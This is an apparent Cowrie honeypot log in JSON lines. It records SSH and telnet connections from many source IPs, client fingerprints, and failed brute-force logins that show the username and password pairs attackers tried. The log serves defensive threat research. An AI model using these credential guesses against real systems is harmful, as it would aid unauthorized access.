{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:08.324459Z","src_ip":"154.18.197.35","session":"28507cedbacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:08.557793Z","src_ip":"154.18.197.35","session":"28507cedbacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":56510,"dst_ip":"159.203.135.109","dst_port":22,"session":"796ca8b1f283","protocol":"ssh","message":"New connection: 165.232.38.41:56510 (159.203.135.109:22) [session: 796ca8b1f283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:08.881168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:08.885064Z","src_ip":"165.232.38.41","session":"796ca8b1f283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:08.955984Z","src_ip":"165.232.38.41","session":"796ca8b1f283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhanghao","message":"login attempt [root/zhanghao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:09.275019Z","src_ip":"165.232.38.41","session":"796ca8b1f283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456q.","message":"login attempt [root/123456q.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:09.527098Z","src_ip":"154.18.197.35","session":"28507cedbacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:10.348129Z","src_ip":"165.232.38.41","session":"796ca8b1f283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:10.762937Z","src_ip":"154.18.197.35","session":"28507cedbacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.92886137962341,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:15.774284Z","src_ip":"170.64.224.25","session":"2ad020191e4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":45902,"dst_ip":"10.17.0.5","dst_port":22,"session":"c212fd91a699","protocol":"ssh","message":"New connection: 20.228.193.165:45902 (10.17.0.5:22) [session: c212fd91a699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:18.510056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:18.514293Z","src_ip":"20.228.193.165","session":"c212fd91a699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:18.533933Z","src_ip":"20.228.193.165","session":"c212fd91a699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZ123wsx","message":"login attempt [root/QAZ123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:18.610749Z","src_ip":"20.228.193.165","session":"c212fd91a699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:19.626860Z","src_ip":"20.228.193.165","session":"c212fd91a699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":47814,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c9bba7f86d5","protocol":"ssh","message":"New connection: 189.203.163.10:47814 (10.17.0.5:22) [session: 7c9bba7f86d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:21.483265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:21.486889Z","src_ip":"189.203.163.10","session":"7c9bba7f86d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:21.548484Z","src_ip":"189.203.163.10","session":"7c9bba7f86d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lab123","message":"login attempt [root/lab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:21.827596Z","src_ip":"189.203.163.10","session":"7c9bba7f86d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:22.893538Z","src_ip":"189.203.163.10","session":"7c9bba7f86d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.248388290405273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:23.401846Z","src_ip":"170.64.224.25","session":"35c7d45661ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":33279,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc517373d99","protocol":"ssh","message":"New connection: 177.16.244.39:33279 (10.17.0.5:22) [session: ebc517373d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.001848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.008086Z","src_ip":"177.16.244.39","session":"ebc517373d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.136922Z","src_ip":"177.16.244.39","session":"ebc517373d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":45864,"dst_ip":"10.17.0.5","dst_port":22,"session":"483de21c91c3","protocol":"ssh","message":"New connection: 160.174.129.232:45864 (10.17.0.5:22) [session: 483de21c91c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.595420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.598016Z","src_ip":"160.174.129.232","session":"483de21c91c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux","message":"login attempt [ubuntu/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.717264Z","src_ip":"177.16.244.39","session":"ebc517373d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:27.732489Z","src_ip":"160.174.129.232","session":"483de21c91c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Bb","message":"login attempt [root/123456Bb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:28.302415Z","src_ip":"160.174.129.232","session":"483de21c91c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:28.848445Z","src_ip":"177.16.244.39","session":"ebc517373d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:29.440255Z","src_ip":"160.174.129.232","session":"483de21c91c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41808,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad62c0b57df9","protocol":"telnet","message":"New connection: 170.64.224.25:41808 (159.203.135.109:23) [session: ad62c0b57df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:33.287144Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41818,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e071fd5293c","protocol":"telnet","message":"New connection: 170.64.224.25:41818 (159.203.135.109:23) [session: 5e071fd5293c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:36.356376Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":59368,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6e68110878a","protocol":"ssh","message":"New connection: 162.254.35.142:59368 (10.17.0.5:22) [session: a6e68110878a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.126340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.129927Z","src_ip":"162.254.35.142","session":"a6e68110878a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.188218Z","src_ip":"162.254.35.142","session":"a6e68110878a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsalvador","password":"SanSalvador#Ethereum$P@ss","message":"login attempt [elsalvador/SanSalvador#Ethereum$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.365362Z","src_ip":"162.254.35.142","session":"a6e68110878a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":34742,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e46a320591","protocol":"ssh","message":"New connection: 50.6.173.74:34742 (159.203.135.109:22) [session: d8e46a320591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.369451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.373051Z","src_ip":"50.6.173.74","session":"d8e46a320591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.397991Z","src_ip":"50.6.173.74","session":"d8e46a320591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G@t3!0$S3cur3@W0rd","message":"login attempt [root/G@t3!0$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:47.477388Z","src_ip":"50.6.173.74","session":"d8e46a320591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:48.427393Z","src_ip":"162.254.35.142","session":"a6e68110878a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:48.504475Z","src_ip":"50.6.173.74","session":"d8e46a320591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49794,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaec1ec54fc1","protocol":"telnet","message":"New connection: 107.6.151.170:49794 (159.203.135.109:23) [session: aaec1ec54fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:01.163632Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":40522,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a08bf11ea4","protocol":"ssh","message":"New connection: 91.92.40.4:40522 (10.17.0.5:22) [session: 22a08bf11ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:08.124868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:08.127695Z","src_ip":"91.92.40.4","session":"22a08bf11ea4","protocol":"ssh"}
